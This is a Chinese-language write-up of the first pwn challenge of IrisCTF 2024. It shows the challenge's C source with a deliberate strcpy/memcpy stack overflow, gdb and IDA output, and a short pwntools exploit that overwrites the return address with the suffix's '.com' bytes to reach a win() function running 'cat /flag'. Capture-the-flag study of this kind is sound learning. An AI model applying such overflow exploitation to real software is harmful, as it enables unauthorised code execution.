2024IrisCTFpwn第一题题解

时间:2024-01-26 19:27:50

这题是第一题,别问为什么我不写后面的题,因为只会做第一题。

漏洞的发现

似乎国外的题目很喜欢给源码。那就直接看源码就行.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void rstrip(char* buf, const size_t len) 
{//用于把读入的句子最后的回车替换为'\0'的函数
    for (int i = len - 1; i >= 0; i--)
        if (buf[i] == '\n') {
            buf[i] = '\0';
            break;
        }
}

const char suffix[] = "! Welcome to IrisCTF2024. If you have any questions you can contact us at test@example.com\0\0\0\0";

int main() {
    char message[128];
    char name[64];
    fgets(name, 64, stdin);//输入点
    rstrip(name, 64);//用于把回车替换为'\0'

    //接下来三个的cpy函数做得事情就是把三段话拼接起来
    strcpy(message, "Hi there, ");
    strcpy(message + strlen(message), name);//这个是我们输入的东西,可能可以做手脚
    memcpy(message + strlen(message), suffix, sizeof(suffix));

    printf("%s\n", message);//最后打印出来
}

__attribute__((section(".flag")))
void win() 
{//win函数,一看就是要用来拿flag的函数
    __asm__("pop %rdi");
    system("cat /flag");
}

看起来程序逻辑也不复杂,似乎就是普通的栈溢出对吧。但是有一个疑点,我输入的name,在栈上的位置并不贴近main函数返回地址,如何才能劫持呢。

当时做得时候确实也不知道,就试着乱发了点东西,比如发0x40个字节作为name,看看结果如何。

2024IrisCTFpwn第一题题解_IrisCTF2024

为了防止图片刷新不出来,我再把文字粘贴过来。

   0x40000966 <main+292>    mov    rdi, rax
   0x40000969 <main+295>    call   puts@plt                    <puts@plt>

   0x4000096e <main+300>    mov    eax, 0
   0x40000973 <main+305>    mov    rbx, qword ptr [rbp - 8]
   0x40000977 <main+309>    leave
 ► 0x40000978 <main+310>    ret    <0x2e656c706d617865>




────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0x7ffd7ac686f8 ◂— 'example.com'
01:0008│     0x7ffd7ac68700 ◂— 0x6d6f63 /* 'com' */
02:0010│     0x7ffd7ac68708 —▸ 0x40000842 (main) ◂— push rbp
03:0018│     0x7ffd7ac68710 ◂— 0x140000040 /* '@' */

咱返回地址咋变成0x2e656c706d617865了?栈顶的数据一看,我去。

他刚刚suffix的的那句话被往后顶了,导致现在example.的asc码被当作返回地址了。

这里往后顶的原因是刚才message的操作是先Hi there,再跟上我的name,最后跟上他的那句话。看看栈布局就一目了然了。

2024IrisCTFpwn第一题题解_IrisCTF2024_02

这时候是Hi there刚刚被复制到message,接下来不出意外就是我的name字符串和suffix字符串会被复制到下面的位置。

2024IrisCTFpwn第一题题解_IrisCTF2024_03

从蓝圈的栈往下就都是message的内容了,上面是name的栈空间。

到这里还没有复制完全,返回地址还没被改,但是可以看到rbp已经被改了。

当复制完全之后,返回地址就被改成了example.的asc码。

漏洞的利用

现在知道哪里有漏洞了,具体看看这么利用。

咱刚才不是看到了有一个win函数吗。看看win函数地址先。

.flag:000000006D6F632E                               ; int win()
.flag:000000006D6F632E                               public win
.flag:000000006D6F632E                               win proc near                           ; DATA XREF: LOAD:0000000040000130↑o
.flag:000000006D6F632E 55                            push    rbp
.flag:000000006D6F632F 48 89 E5                      mov     rbp, rsp
.flag:000000006D6F6332 5F                            pop     rdi
.flag:000000006D6F6333 BF 1F 0A 00 40                mov     edi, offset command             ; "cat /flag"
.flag:000000006D6F6338 E8 B3 A3 90 D2                call    _system
.flag:000000006D6F6338
.flag:000000006D6F633D 90                            nop
.flag:000000006D6F633E 5D                            pop     rbp
.flag:000000006D6F633F C3                            retn

大概想办法把返回地址改成0x6D6F632E就行,或者到0x6D6F6333估计都是可以的。

改返回地址的方法大概率就是利用suffix的字符串了,现在的问题是需要发送多少个字节才可以达到把返回地址刚好改成0x6D6F632E。(当然,name最多也就0x40个字节,你要是写个脚本一个个试也可以)

我们可以看看把这些地址当作asc码转成字符试试。我用的是一个asc码转换网站

2024IrisCTFpwn第一题题解_脑洞题_04

这里我运用预知未来的方法得到0x6D6F632E其实对应.com,这也正好是suffix的最后几个字母。

我们刚才的发0x40得到的返回地址是example.那我们要.com只需要少发送8个字节就行(我知道这样看是少发送7个字节,但是实操的时候结果是0x38也就是少发了8个字节,我估计原因是0x40顶到name的上限了。

总之思路就是这样了。

上EXP

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
# io = remote("insanity-check.chal.irisc.tf",10003)
io = process("./vuln")
def debug():
    gdb.attach(io,
    '''
b *0x40000878
    ''')
debug()
payload = cyclic(0x38)
io.sendline(payload)
io.interactive()

总之就是这样啦。

小结一下

做起来这样的题确实脑洞大,国外的CTF发展水平确实比我们更高,这得承认。做完的感觉是我去,还能这么玩?很不错的题。

PS:终于考完期末了,寒假继续爽爽的pwn。过段时间要是我觉得堆的认知又可以再写一篇文章了,就在更新一篇。冲冲冲!!